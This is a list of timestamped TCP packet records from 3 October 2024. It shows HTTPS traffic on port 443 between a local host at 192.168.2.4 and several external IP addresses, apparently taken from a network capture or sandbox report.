Oct 3, 2024 10:41:54.329896927 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.329906940 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.329912901 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.329942942 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.329966068 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.331191063 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.331208944 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.331283092 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.331290007 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.331340075 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.390558958 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.390588999 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.390641928 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.390659094 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.390686035 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.391091108 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.391141891 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.391156912 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.391195059 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.391223907 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.392822981 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.392903090 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.392905951 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.392952919 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.392962933 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.392967939 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.393013954 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.394263029 CEST	50144	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:54.394279003 CEST	443	50144	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:54.415862083 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.415879965 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.415920019 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.415952921 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.415966034 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.415993929 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:54.416002035 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:54.416106939 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:55.040050983 CEST	50146	443	192.168.2.4	13.107.246.60
Oct 3, 2024 10:41:55.040088892 CEST	443	50146	13.107.246.60	192.168.2.4
Oct 3, 2024 10:41:55.050399065 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.050442934 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.050537109 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.050741911 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.050751925 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.054363012 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.054372072 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.054645061 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.054939032 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.054950953 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.055056095 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.056056023 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.056071043 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.056230068 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.056241035 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.613064051 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.613351107 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.613372087 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.614454985 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.614540100 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.616197109 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.616255999 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.616415024 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.657310009 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.657322884 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.704324007 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.718190908 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.718305111 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.718352079 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.749157906 CEST	50149	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:55.749177933 CEST	443	50149	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:55.763098955 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:55.763123989 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:55.763185024 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:55.763422966 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:55.763432980 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:55.779918909 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.780184031 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.780191898 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.781275034 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.781328917 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.781656027 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.781804085 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.781809092 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.781902075 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.806063890 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.809895992 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.809906960 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.811012983 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.811084032 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.812793970 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.812860966 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.813013077 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.813019991 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.823339939 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.823362112 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:55.855351925 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:55.871325970 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.160177946 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.160329103 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.160384893 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.160403967 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.160494089 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.160621881 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.161145926 CEST	50151	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.161160946 CEST	443	50151	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.187407017 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.187449932 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.187534094 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.187550068 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.187597990 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.187649965 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.190910101 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.190944910 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.191114902 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.191374063 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.191380978 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.191448927 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.191739082 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.191772938 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.191817045 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.191996098 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.192012072 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.192172050 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.192181110 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.192296028 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.192306995 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.196281910 CEST	50152	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:56.196302891 CEST	443	50152	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:56.479027987 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.479321957 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.479336023 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.480357885 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.480423927 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.480726004 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.480775118 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.480890036 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.527401924 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.535635948 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.535650969 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.583653927 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.750086069 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.750168085 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.750220060 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.750817060 CEST	50159	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.750834942 CEST	443	50159	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.755152941 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.755194902 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.755295992 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.755812883 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:56.755830050 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:56.792924881 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:56.792982101 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:56.793057919 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:56.793418884 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:56.793431044 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:56.804563046 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:56.804604053 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:56.804841995 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:56.805067062 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:56.805078983 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:57.142819881 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.143475056 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.143477917 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.166539907 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.166555882 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.166754961 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.166763067 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.166925907 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.166950941 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.167192936 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.167221069 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.168009043 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.168075085 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.168376923 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.168435097 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.168744087 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.168802977 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.169811964 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.169861078 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.169997931 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.170516968 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.170516968 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.170538902 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.212445021 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.215400934 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.215413094 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.416707993 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.416743040 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.416750908 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.416774035 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.416846991 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.416857004 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.416917086 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.418859005 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.418889046 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.418940067 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.418962002 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.420315981 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.420362949 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.428020954 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.428049088 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.428062916 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.428128004 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.428141117 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.428183079 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.430592060 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.473082066 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.482439995 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.485466957 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.485486984 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.486056089 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.486881971 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:57.486893892 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.487515926 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.488348961 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.488451004 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.488856077 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:57.488934994 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.489324093 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.489501953 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:57.513135910 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.513168097 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.513226986 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.513242960 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.513283014 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.513298988 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.513787031 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.513871908 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.513878107 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.513923883 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.531418085 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.531424046 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.557998896 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:57.558067083 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:57.562232018 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:57.562232018 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:57.562283993 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:57.569252968 CEST	50162	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.569286108 CEST	443	50162	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.569515944 CEST	50163	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.569540977 CEST	443	50163	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.573101997 CEST	50161	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.573110104 CEST	443	50161	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.590730906 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.590774059 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.591068029 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.591109037 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.591159105 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.591414928 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.591754913 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.591769934 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.591806889 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.591816902 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.591873884 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.592097998 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.592132092 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.592183113 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.592421055 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.592565060 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.592591047 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.592694044 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.592989922 CEST	50172	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.593008995 CEST	443	50172	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.593266964 CEST	50173	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.593286991 CEST	443	50173	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.594060898 CEST	50174	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.594077110 CEST	443	50174	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.594274998 CEST	50175	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.594288111 CEST	443	50175	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.594500065 CEST	50176	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.594522953 CEST	443	50176	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.594954014 CEST	50177	443	192.168.2.4	18.245.86.87
Oct 3, 2024 10:41:57.594966888 CEST	443	50177	18.245.86.87	192.168.2.4
Oct 3, 2024 10:41:57.653634071 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.653671026 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:57.653733015 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.653959036 CEST	50180	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.653974056 CEST	443	50180	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:57.655749083 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.655780077 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:57.655827999 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.656017065 CEST	50181	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.656033993 CEST	443	50181	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:57.665014982 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.665038109 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:57.665116072 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.665342093 CEST	50182	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:57.665355921 CEST	443	50182	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:57.720665932 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.720839977 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.720897913 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.721734047 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.721785069 CEST	443	50169	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:57.721827984 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.721954107 CEST	50169	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:57.725229979 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:57.725253105 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:57.725358009 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:57.725594997 CEST	50184	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:57.725606918 CEST	443	50184	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:57.742903948 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.743007898 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.743136883 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:57.750751019 CEST	50167	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:57.750782967 CEST	443	50167	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:57.765995026 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:57.766293049 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:57.766313076 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:57.766700029 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:57.767530918 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:57.767613888 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:57.767693996 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:57.815401077 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:57.815428019 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:58.057846069 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:58.057913065 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:58.057928085 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:58.057945013 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:58.057982922 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:58.063293934 CEST	50170	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:58.063312054 CEST	443	50170	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:58.063961983 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.063990116 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.064081907 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.064275980 CEST	50186	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.064285040 CEST	443	50186	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.126348019 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.133126974 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.133146048 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.134015083 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.135875940 CEST	50171	443	192.168.2.4	3.33.220.150
Oct 3, 2024 10:41:58.136010885 CEST	443	50171	3.33.220.150	192.168.2.4
Oct 3, 2024 10:41:58.136080980 CEST	50171	443	192.168.2.4	3.33.220.150
